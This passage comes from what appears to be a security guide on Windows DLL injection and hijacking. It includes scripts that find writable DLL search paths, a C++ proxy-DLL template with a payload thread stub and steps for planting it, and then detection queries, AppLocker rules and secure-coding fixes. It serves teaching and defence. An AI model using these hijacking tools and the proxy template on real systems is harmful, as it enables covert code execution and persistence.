$writeAccess -ne $null
} catch {
$false
}
}
Write-Host "`n[+] Potentially hijackable DLLs (writable locations):"
$hijackable | Format-Table -AutoSize
return $hijackable
}
}
# Example usage
# Find-HijackableDLLs -ProcessName "vulnerable.exe"Python DLL Search Order Analyzer
import os
import sys
import subprocess
def get_dll_search_paths(exe_path):
"""
Get DLL search paths for a given executable
"""
exe_dir = os.path.dirname(exe_path)
system_dir = os.path.join(os.environ.get('SystemRoot', 'C:\\Windows'), 'System32')
windows_dir = os.environ.get('SystemRoot', 'C:\\Windows')
current_dir = os.getcwd()
# Safe DLL Search Mode (default)
search_paths = [
exe_dir,
system_dir,
os.path.join(windows_dir, 'System'),
windows_dir,
current_dir
]
# Add PATH directories
path_dirs = os.environ.get('PATH', '').split(os.pathsep)
search_paths.extend(path_dirs)
return [p for p in search_paths if p and os.path.exists(p)]
def find_missing_dlls(exe_path):
"""
Use Dependency Walker or similar tool to find missing DLLs
"""
print(f"[*] Analyzing DLL dependencies for: {exe_path}")
try:
# Use dumpbin (from Visual Studio) to list dependencies
result = subprocess.run(
['dumpbin', '/DEPENDENTS', exe_path],
capture_output=True,
text=True
)
if result.returncode != 0:
print("[-] dumpbin not found. Install Visual Studio or use Process Monitor")
return []
# Parse output for DLL names
lines = result.stdout.split('\n')
dlls = []
in_section = False
for line in lines:
if 'Image has the following dependencies:' in line:
in_section = True
continue
if in_section and line.strip().endswith('.dll'):
dlls.append(line.strip())
if in_section and 'Summary' in line:
break
return dlls
except FileNotFoundError:
print("[-] dumpbin not available")
return []
def check_dll_hijacking(exe_path):
"""
Check if executable is vulnerable to DLL hijacking
"""
print(f"[*] Checking DLL hijacking opportunities for: {exe_path}\n")
search_paths = get_dll_search_paths(exe_path)
dependencies = find_missing_dlls(exe_path)
print(f"[+] DLL Search Order:")
for i, path in enumerate(search_paths[:6], 1): # Show first 6
writable = os.access(path, os.W_OK)
status = "[WRITABLE]" if writable else "[READ-ONLY]"
print(f" {i}. {status} {path}")
print(f"\n[+] DLL Dependencies ({len(dependencies)}):")
for dll in dependencies:
print(f" - {dll}")
print(f"\n[*] Analyzing hijacking opportunities...")
hijackable = []
for dll in dependencies:
for search_path in search_paths:
dll_path = os.path.join(search_path, dll)
if not os.path.exists(dll_path) and os.access(search_path, os.W_OK):
hijackable.append({
'dll': dll,
'path': search_path
})
print(f" [!] Hijackable: {dll} in {search_path}")
break
if hijackable:
print(f"\n[+] Found {len(hijackable)} hijacking opportunities!")
return hijackable
else:
print(f"\n[-] No obvious hijacking opportunities found")
return []
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <path_to_exe>")
return 1
exe_path = sys.argv[1]
if not os.path.exists(exe_path):
print(f"[-] File not found: {exe_path}")
return 1
check_dll_hijacking(exe_path)
return 0
if __name__ == "__main__":
sys.exit(main())Using Sysinternals Process Explorer
Launch Process Explorer
Run as administrator for full visibility
Select Target Process
Find and select the process you want to analyze
View DLLs
Press Ctrl+D or View → Lower Pane View → DLLs
Check DLL Paths
Review the "Path" column for each loaded DLL
Identify Suspicious Paths
Look for:
- DLLs loaded from user-writable directories
- DLLs loaded from current directory
- DLLs with unexpected paths
Verify DLL Signatures
Right-click DLL → Properties → check Digital Signature
DLL Proxying Attack
DLL Proxying involves creating a malicious DLL that:
- Loads the legitimate DLL
- Forwards all function calls to the legitimate DLL
- Executes malicious code in the background
Example: Proxying library.dll
// malicious.cpp - Proxy DLL
#include <windows.h>
// Original DLL functions
typedef int (*AddFunc)(int, int);
// Export that proxies to original
extern "C" __declspec(dllexport) int Add(int a, int b) {
// Load original DLL (renamed to library.o.dll)
HMODULE hOriginal = LoadLibraryA("library.o.dll");
if (hOriginal) {
// Get original Add function
AddFunc originalAdd = (AddFunc)GetProcAddress(hOriginal, "Add");
if (originalAdd) {
// Execute malicious code
MessageBoxA(NULL, "DLL Hijacked!", "Alert", MB_OK);
// Call original function
int result = originalAdd(a, b);
// Tamper with result
return result + 1; // Malicious modification
}
}
return -1;
}
// DllMain for additional malicious actions
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Stealthy payload execution
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MaliciousPayload, NULL, 0, NULL);
break;
}
return TRUE;
}
DWORD WINAPI MaliciousPayload(LPVOID param) {
// Reverse shell, keylogger, credential theft, etc.
// ...
return 0;
}Deployment:
- Rename original
library.dlltolibrary.o.dll - Place malicious DLL as
library.dll - Application loads malicious DLL
- Malicious DLL proxies calls to original
Detection and Monitoring
Behavioral Detection
Suspicious API Call Sequences
Monitor for API patterns associated with injection:
// Example: CreateRemoteThread detection
SecurityEvent
| where EventID == 4688 // Process creation
| where CommandLine contains "CreateRemoteThread" or
NewProcessName endswith "\\injector.exe"
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine
// Sysmon Event ID 8: CreateRemoteThread
SysmonEvent
| where EventID == 8
| where TargetImage !in (
"C:\\Windows\\System32\\svchost.exe",
"C:\\Windows\\System32\\wbem\\WmiPrvSE.exe"
)
| project TimeGenerated, Computer, SourceImage, TargetImage, SourceProcessId, TargetProcessId
| summarize Count = count() by Computer, SourceImage, TargetImage
| where Count > 1High-Risk API Sequences:
- OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
- NtCreateThreadEx instead of CreateRemoteThread (advanced evasion)
- QueueUserAPC for APC injection
- SetWindowsHookEx for SetWindowsHook injection
Module Load Anomalies
Detect DLLs loaded from suspicious locations:
// Sysmon Event ID 7: Image (DLL) loaded
SysmonEvent
| where EventID == 7
| where ImageLoaded startswith "C:\\Users\\" or
ImageLoaded startswith "C:\\ProgramData\\" or
ImageLoaded startswith "C:\\Temp\\"
| where ImageLoaded endswith ".dll"
| where Process !in (
"C:\\Program Files\\Application\\app.exe", // Whitelist known good
"C:\\Windows\\Explorer.exe"
)
| project TimeGenerated, Computer, Process, ImageLoaded, User
| summarize Count = count(), FirstSeen = min(TimeGenerated)
by Computer, Process, ImageLoadedSuspicious Indicators:
- DLLs loaded from user directories
- DLLs without digital signatures
- DLLs with mismatched metadata
- Unknown DLLs in system processes
Process Hollowing Detection
Monitor for processes with suspicious memory characteristics:
// Memory protection changes (Sysmon Event ID 10)
SysmonEvent
| where EventID == 10 // ProcessAccess
| where GrantedAccess in ("0x1fffff", "0x1f0fff") // PROCESS_ALL_ACCESS
| where TargetImage endswith "\\explorer.exe" or
TargetImage endswith "\\svchost.exe"
| where SourceImage !endswith "\\taskmgr.exe"
| project TimeGenerated, Computer, SourceImage, TargetImage, GrantedAccessMemory Integrity Checks:
- Processes with executable memory not backed by files on disk
- Modified PE headers in memory
- Unexpected memory protection changes (PAGE_EXECUTE_READWRITE)
EDR and AV Detection
Modern Endpoint Detection and Response (EDR) solutions employ multiple detection layers:
User-Mode Hooking:
- Intercept API calls (CreateRemoteThread, WriteProcessMemory, etc.)
- Detect suspicious parameter combinations
- Monitor call chains and context
Kernel-Mode Monitoring:
- Driver-level process and thread creation monitoring
- Memory allocation tracking
- Cross-process operations detection
Machine Learning:
- Behavioral analysis of API call patterns
- Anomaly detection for process behavior
- Historical baseline comparison
Signature-Based Detection:
- Known malware DLL signatures
- Malicious code patterns
- IOC (Indicator of Compromise) matching
Evasion vs Detection
The arms race between attackers and defenders continues to evolve. Modern malware employs sophisticated evasion techniques including direct syscalls, unhooking, and reflective loading to bypass detection mechanisms.
Mitigation and Hardening
Application Control
Implement AppLocker or WDAC
# Example AppLocker rules to prevent DLL injection
# Block DLLs from user directories
$userDirRule = @"
<FilePathRule Id="blockunsigneddll" Name="Block Unsigned DLLs from User Dirs" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePathCondition Path="%OSDRIVE%\Users\*\*.dll" />
</Conditions>
</FilePathRule>
"@
# Only allow signed DLLs
New-AppLockerPolicy -RuleType Publisher -Path C:\Temp\dll_rules.xml -RuleNamePrefix "Signed" -User Everyone -FileInformation (Get-ChildItem C:\Windows\System32\*.dll | Get-AppLockerFileInformation)
# Apply policy
Set-AppLockerPolicy -XMLPolicy C:\Temp\dll_rules.xmlEnable DLL Signature Validation
# Require signed DLLs via Group Policy
# Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options
# "System cryptography: Force strong key protection for user keys stored on the computer"Restrict LoadLibrary Paths
// In your application code
// Use LOAD_LIBRARY_SEARCH_SYSTEM32 flag
HMODULE hModule = LoadLibraryEx(
"library.dll",
NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32
);Process Mitigation Policies
Enable modern exploit mitigation features:
# Enable Control Flow Guard (CFG)
Set-ProcessMitigation -System -Enable CFG
# Enable Arbitrary Code Guard (ACG)
Set-ProcessMitigation -System -Enable DynamicCode
# Enable Binary Image Signature verification
Set-ProcessMitigation -System -Enable EnforceModuleDependencySigning
# View current mitigations
Get-ProcessMitigation -SystemAvailable Mitigations:
- Control Flow Guard (CFG): Prevents control flow hijacking
- Arbitrary Code Guard (ACG): Blocks dynamic code generation
- Export Address Filtering (EAF): Prevents API address leaks
- Import Address Filtering (IAF): Validates import table
- SEHOP: Prevents SEH chain corruption
Secure Coding Practices
Always Specify Full DLL Paths:
// Bad: Vulnerable to DLL hijacking
HMODULE hModule = LoadLibrary("library.dll");
// Good: Full path specified
HMODULE hModule = LoadLibrary("C:\\Program Files\\Application\\library.dll");
// Best: Use system directory search
HMODULE hModule = LoadLibraryEx("library.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);Validate DLL Signatures:
#include <wintrust.h>
#include <softpub.h>
BOOL VerifyDLLSignature(LPCWSTR filePath) {
WINTRUST_FILE_INFO fileInfo = {0};
fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
fileInfo.pcwszFilePath = filePath;
WINTRUST_DATA trustData = {0};
trustData.cbStruct = sizeof(WINTRUST_DATA);
trustData.dwUIChoice = WTD_UI_NONE;
trustData.fdwRevocationChecks = WTD_REVOKE_NONE;
trustData.dwUnionChoice = WTD_CHOICE_FILE;
trustData.pFile = &fileInfo;
GUID actionGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
LONG status = WinVerifyTrust(NULL, &actionGUID, &trustData);
return (status == ERROR_SUCCESS);
}Conclusion
DLL Injection represents a powerful and versatile technique used by both legitimate software and malicious actors. Understanding the various injection methods — from classic LoadLibrary injection to advanced reflective DLL injection and DLL hijacking — is essential for both offensive security practitioners and defensive security teams.
Key Takeaways
- Multiple Techniques: DLL injection encompasses various methods, each with different detection profiles and complexity levels
- Dual-Use Technology: The same techniques power both benign software features and sophisticated malware
- Detection Challenges: Modern injection techniques employ advanced evasion methods, requiring behavioral and heuristic detection
- Defense in Depth: Effective mitigation requires combining application control, process mitigations, secure coding, and active monitoring
Defense Checklist
- Implement application control (AppLocker/WDAC) for DLL loading
- Enable process mitigation policies (CFG, ACG, etc.)
- Deploy EDR solution with behavioral detection capabilities
- Monitor for suspicious API call patterns (CreateRemoteThread, etc.)
- Configure Sysmon with DLL load and process access monitoring
- Validate DLL signatures before loading in custom applications
- Use full paths or system-only search for LoadLibrary calls
- Implement least privilege for service accounts and applications
- Regular review of loaded modules in critical processes
- Incident response procedures for injection detection
References
MITRE ATT&CK Techniques
- T1055.001 - Process Injection: Dynamic-link Library Injection - Classic DLL injection
- T1055.002 - Process Injection: Portable Executable Injection - PE injection techniques
- T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking - DLL hijacking
- T1574.002 - Hijack Execution Flow: DLL Side-Loading - Side-loading attacks
- T1055 - Process Injection - Parent technique
Common Weakness Enumeration
- CWE-114 - Process Control - Unauthorized process manipulation
- CWE-427 - Uncontrolled Search Path Element - DLL search order vulnerabilities
Microsoft Documentation
- Microsoft: DLL Search Order - Official DLL search documentation
- Microsoft: Process Mitigation Policies - Mitigation options
Tools Documentation
- Reflective DLL Injection - Stephen Fewer's implementation
- Process Hacker - Process monitoring tool
- Sysmon - System monitoring
By understanding both the offensive techniques and defensive measures around DLL injection, security teams can better protect their environments against code injection attacks and privilege escalation attempts that leverage process injection capabilities.
Last updated on
Bring Your Own Vulnerable Driver (BYOVD)
BYOVD attack technique loading vulnerable signed drivers to disable security software, escalate privileges, and bypass kernel protections on Windows.
Event Log Readers Group Exploitation
Comprehensive guide to exploiting the Event Log Readers group membership in Windows — from credential harvesting to intelligence gathering and attack path enumeration.